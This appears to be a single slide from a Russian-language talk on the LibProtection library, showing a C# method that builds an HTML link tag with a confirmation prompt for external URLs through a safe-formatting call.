  • 73. ЗаголовокКстати, о LibProtection (aka «костыльном подходе») private static string BuildSafeLinkTag(string url, string text, string localhost) { var uri = new Uri(url, UriKind.RelativeOrAbsolute); var clickHandler = uri.IsAbsoluteUri && localhost != uri.Host ? $"return confirm('Are you sure you want to follow this link: {uri} ?')" : "return true" return SafeString.Format<Html>( $"<a href='{uri}' onclick='{clickHandler:safe}'>{text}</a>" ); }